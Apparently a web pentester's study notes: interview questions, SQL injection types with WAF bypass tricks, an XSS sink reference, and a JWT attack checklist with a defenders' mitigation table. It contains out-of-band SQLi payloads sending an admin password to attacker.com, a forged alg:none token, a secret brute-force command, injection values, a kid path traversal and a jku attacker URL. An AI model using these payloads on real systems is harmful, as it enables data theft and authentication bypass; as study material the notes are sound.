# Interview
Question 1. What is XSS? 2. What is CSP? 3. How do nmap uses sT flag and discovers that the port is open? 4. CSP is implemented but still there is XSS β€” how? 5. How to bypass file upload restrictions? 6. What is double extension upload? How can it lead to RCE? 7. What are the types of Windows privilege escalation or attacks? 8. How to generate a CVSS score for a live vulnerability? 9. What is SOP (Same-Origin Policy)? 10. What is CORS and how can it be misconfigured? 11. What are JWT-based attacks? How to exploit them? 12. What is NoSQLi (NoSQL Injection)? 13. What is LDAP Injection and how is it performed? 14. If HTTPS is enabled, how does Burp Suite intercept requests? 15. What is SSRF (Server-Side Request Forgery)? 16. What is SSTI (Server-Side Template Injection)? 17. JWT should be stored where β€” localStorage or sessionStorage? 18. How to exploit SSRF if localhost/127.0.0.1 is blocked? 19. What is the methodology for API pentesting? 20. Will you be able to perform a 10,000-endpoint API pentest?
Sqli 1. What is sql injection ? * In band sqli : error based sqli , **Union-Based SQLi** * Blind SQLi : Boolean based sqli, Time based sqli * Out band sqli: He we get the out put from different sources like dns and http For mssql we can use ``` '; EXEC master..xp_dirtree '\\attacker.com\share' -- ``` For mysql we can use ``` SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users WHERE username='admin'),'.attacker.com\\abc')); ``` ``` 🧠 Bypasses for Filters & WAFs SQLi filters often block common patterns (', --, UNION, OR, =, etc.). Here are bypass tricks: 1. Case Variation: UnIoN SeLeCt ... 2. Inline Comments: UN/**/ION/**/SELECT SELE/*comment*/CT 3. URL Encoding: %27 OR %271%27=%271 -- (for ') 4. Hex Encoding: SELECT 0x61646d696e -- returns 'admin' 5. Double Encoding: %2527 instead of %27 6. Whitespace Bypass: UNION%0ASELECT UNION/**/SELECT 7. Tab Bypass: UNION%09SELECT 8. Logical Operators: ' OR TRUE-- ' OR 1=1-- 9. Using LIKE, REGEXP, etc. ' OR username LIKE 'a%' ```
Xss ## πŸ›‘οΈ Ultimate XSS Sink Reference (JavaScript Functions Leading to XSS) This document contains an exhaustive list of JavaScript functions, DOM APIs, and browser behaviors that can lead to Cross-Site Scripting (XSS) when used improperly with user-controllable input. ### πŸ’₯ What is XSS? **Cross-Site Scripting (XSS)** is a web vulnerability where an attacker injects malicious scripts into websites, affecting users who interact with that site. *** ### πŸ”₯ 1. JavaScript Code Execution Functions These execute any string as JavaScript. Extremely dangerous if fed with untrusted input. | Function | Example | Risk | | --------------------- | ------------------------------------ | ----------- | | `eval()` | `eval(userInput)` | 🚨 Critical | | `Function()` | `new Function(userInput)` | 🚨 Critical | | `setTimeout()` | `setTimeout(userInput)` (if string) | 🚨 High | | `setInterval()` | `setInterval(userInput)` (if string) | 🚨 High | | `document.write()` | `document.write(userInput)` | 🚨 High | | `document.writeln()` | Same as above | 🚨 High | | `window.execScript()` | Obsolete but risky | ⚠️ | | `setImmediate()` | (Node/Electron) | ⚠️ | *** ### πŸ”¨ 2. HTML Injection into the DOM These directly place HTML/JS into the page. Must be avoided or strictly sanitized. | Sink | Description | Risk | | -------------------------- | --------------------- | ---- | | `innerHTML` | Inserts raw HTML | 🚨 | | `outerHTML` | Same | 🚨 | | `insertAdjacentHTML()` | Appends unsafe HTML | 🚨 | | `element.append()` | Unsafe if HTML passed | ⚠️ | | `element.prepend()` | Same as above | ⚠️ | | `element.after()` | Same | ⚠️ | | `element.before()` | Same | ⚠️ | | `element.replaceWith()` | Same | ⚠️ | | `textContent`, `innerText` | βœ… Safe | | *** ### πŸ” 3. Dangerous Attribute Injections Injecting into HTML attributes (e.g., `src`, `href`, `onerror`) can lead to XSS. | Attribute | Example | | ----------------------------------------------- | ------------------------------------ | | `setAttribute()` | `setAttribute('onerror', userInput)` | | `src`, `href`, `action`, `poster`, `formAction` | Must validate input | | `data`, `style`, `title`, `alt`, `id` | Validate to avoid social engineering | *** ### 🌐 4. Location & URL-Based Sinks These reflect the URL and are often used in unsafe rendering or DOM reads. | Source | Description | | ----------------- | ----------------------------- | | `location.href` | Full URL | | `location.search` | Query string | | `location.hash` | Fragment | | `document.URL` | Full document URI | | `window.name` | Cross-domain persistent input | *** ### βš™οΈ 5. Browser APIs That Render HTML/Execute JS | API | Risk | | --------------------------------- | --------------------------- | | `DOMParser().parseFromString()` | Renders HTML from string | | `XMLHttpRequest.responseText` | Unsafe if inserted into DOM | | `fetch().then(res => res.text())` | Same as above | | `WebView.evalJS()` | (Mobile apps) RCE risk | | `postMessage()` | Input vector, not sink | | `` | Executes inline HTML/JS | | `` | Can redirect with JS | | `` | XSS via vector graphics | | `` | Legacy MathML-based vector | | `` | Triggers on load | | `` | Auto-triggered | *** ### βœ… Safer Alternatives | Unsafe | Use Instead | | ------------------------ | ----------------------------------------- | | `innerHTML`, `outerHTML` | `textContent`, `innerText` | | `eval()`, `Function()` | Avoid completely | | `setTimeout("code")` | Use a function: `setTimeout(() => {...})` | | Raw DOM append | Use `createElement()` + `textContent` | | Untrusted HTML | Sanitize with **DOMPurify** | *** ### πŸ”š Conclusion Never trust user input when using dynamic HTML, JS, or templates. Always sanitize, escape properly, and avoid dangerous JS functions when unnecessary. To test, use tools like: * Burp Suite (Pro or Community) * XSStrike * DOM Invader (PortSwigger) * CSP Evaluator + Report URI Stay sharp, code safe πŸ’»βš”οΈ
Jwt attacks ## πŸ› οΈ πŸ” JWT Penetration Testing Checklist (Fully Detailed) *** ### πŸ“˜ 1. πŸ”Ž Basic Enumeration #### βœ… Test: * Token Structure: Is it a JWT? * Format: `header.payload.signature` * Decode JWT (Base64): * Header: algorithm used? * Payload: roles, expiry, userID, admin flag? #### πŸ“Œ Tools: ``` ``` ``` ``` ``` ``` ```bash # Decode manually echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d ``` Or use: * * Burp Suite extension: **JWT Editor**, **Hackvertor** *** ### ⚠️ 2. πŸ”₯ Algorithm-Based Attacks *** #### 🧨 a. **`alg: none` attack** **🚩 When vulnerable:** * JWT header: `"alg": "none"` * Server **doesn't verify signature** **πŸ§ͺ Test:** 1. Change header to: ``` ``` ``` ``` ``` ``` * ```json { "alg": "none", "typ": "JWT" } ``` * Remove the signature (or leave it empty). * Modify payload (e.g., `"admin": true`) * Base64 encode and send token: ``` ``` ``` ``` ``` ``` 1. ``` eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhZG1pbiI6dHJ1ZX0. ``` βœ… If accepted: Critical vulnerability. *** #### 🧨 b. **Algorithm Confusion (RS256 β†’ HS256)** **🚩 When vulnerable:** * Server expects **asymmetric RS256** (public/private key), but allows **symmetric HS256** (HMAC). **πŸ§ͺ Test:** 1. Change alg to `HS256` 2. Use **server's public key** as the secret key to sign 3. Resign the token with HMAC using public key βœ… If accepted: Server confused symmetric vs. asymmetric algorithms. **πŸ“¦ Tools:** * `jwt_tool.py` β†’ `--exploit alg_none`, `--exploit alg_hs256` *** ### πŸ“† 3. πŸ”’ Signature Key Bruteforce *** #### 🧨 a. **Weak secret / brute force** **🚩 When vulnerable:** * HS256, HS384, HS512 used with a **guessable shared secret**. **πŸ§ͺ Test:** ``` ``` ``` ``` ``` ``` ```bash python3 jwt_tool.py -d -S wordlist.txt ``` Or use: * `jwtcrack.py` * Burp Suite Intruder + `SecLists` weak passwords list βœ… If cracked, attacker can forge arbitrary tokens. *** ### ⏳ 4. πŸ§ͺ Expiry / Time-Based Attacks *** #### βš™οΈ a. **Modify `exp`, `nbf`, `iat` fields** * Try to bypass expiry: ``` ``` ``` ``` ``` ``` ```json { "exp": 9999999999 } ``` * Try pre-validating tokens: ``` ``` ``` ``` ``` ``` ```json { "nbf": 0, "iat": 0 } ``` βœ… If server does not verify these fields β†’ logic flaw. *** ### 🧍 5. πŸ‘‘ Privilege Escalation *** #### 🎯 Target fields like: * `isAdmin` * `role` * `userid` * `permissions` * `access_level` **πŸ§ͺ Test:** 1. Change payload: ``` ``` ``` ``` ``` ``` 1. ```json { "role": "admin", "userid": 1 } ``` 2. Resign (if possible) or use `none`/`bruteforced` key βœ… If access granted β†’ vertical privilege escalation. *** ### πŸ”— 6. πŸ”„ Replay Attack *** #### πŸ§ͺ Test: * Use captured JWT on another account/session * See if same token grants access β†’ token not scoped to user βœ… If works β†’ JWT not bound to session/IP/device *** ### 🎣 7. πŸͺ Injection in Payload *** #### 🧨 a. **SQL Injection / NoSQL Injection** * JWT is used in database queries? **Payload:** ``` ``` ``` ``` ``` ``` ```json { "username": {"$ne": null} } ``` or ``` ``` ``` ``` ``` ``` ```json { "userid": "1' OR '1'='1" } ``` βœ… If DB logic accepts it β†’ critical injection risk. *** ### πŸͺ€ 8. πŸ§ͺ IDOR + JWT *** #### 🎯 Use JWT to access other user’s data: ``` ``` ``` ``` ``` ``` ```json { "userid": 1234 } β†’ Try other user IDs ``` βœ… If no access control enforced β†’ Insecure Direct Object Reference. *** ### 🧩 9. πŸ“¦ JWT in Cookies / Storage *** #### πŸ§ͺ Test: * Can you overwrite the cookie? * Is the JWT in `localStorage` or `sessionStorage`? * Vulnerable to XSS? * Can you refresh expired tokens? (Look for refresh tokens) βœ… If client has full control β†’ combine with XSS *** ### πŸ” 10. Refresh Token Exploits *** #### πŸ§ͺ Test: * Capture refresh token * Try replaying * Try CSRF on refresh endpoint * Does it return new access token? βœ… If refresh token never expires / is not bound β†’ long-term hijack possible. *** ### πŸ’₯ 11. Advanced & Real-World Exploits *** #### 🚩 a. **Key Disclosure via LFI** * If the private key is accessible via LFI β†’ attacker can sign own tokens. #### 🚩 b. **Kid Header Injection** ``` ``` ``` ``` ``` ``` ```json { "kid": "../../../../../../etc/passwd" } ``` βœ… If used to load keys from disk, this can lead to **path traversal + key loading**. *** #### 🚩 c. **JWT in `Authorization` header (CSRFable)** ``` ``` ``` ``` ``` ``` ```http Authorization: Bearer ``` βœ… If the token is used in a header **without SameSite protection**, you may be able to CSRF it from another origin. *** #### 🚩 d. **JWK Injection** If app supports `jku` or `x5u` in JWT header: ``` ``` ``` ``` ``` ``` ```json { "jku": "https://attacker.com/mykey.json" } ``` βœ… If accepted β†’ attacker can inject their key + sign arbitrary tokens. *** ### 🧰 Tools & Wordlists * πŸ”§ [`jwt_tool`](https://github.com/ticarpi/jwt_tool) * πŸ”§ [`jwt-cracker`](https://github.com/brendan-rius/jwt-cracker) * πŸ”§ [`JOSEPH`](https://github.com/c-johansen/joseph) * πŸ“‚ Wordlists: SecLists (`Passwords`, `JWT Secrets`, etc.) *** ### 🧱 Mitigation Cheatsheet (for defenders) | Issue | Mitigation | | --------------------------- | ------------------------------------- | | `alg: none` | Always enforce algorithm server-side | | Weak secret | Use long, random keys (256+ bits) | | Exp tampering | Enforce expiration strictly | | Forged roles | Validate roles on backend | | Token reuse | Use short-lived tokens + refresh flow | | Key confusion (HS256/RS256) | Don’t allow multiple algs | | Kid/path injections | Use static key loading, not dynamic |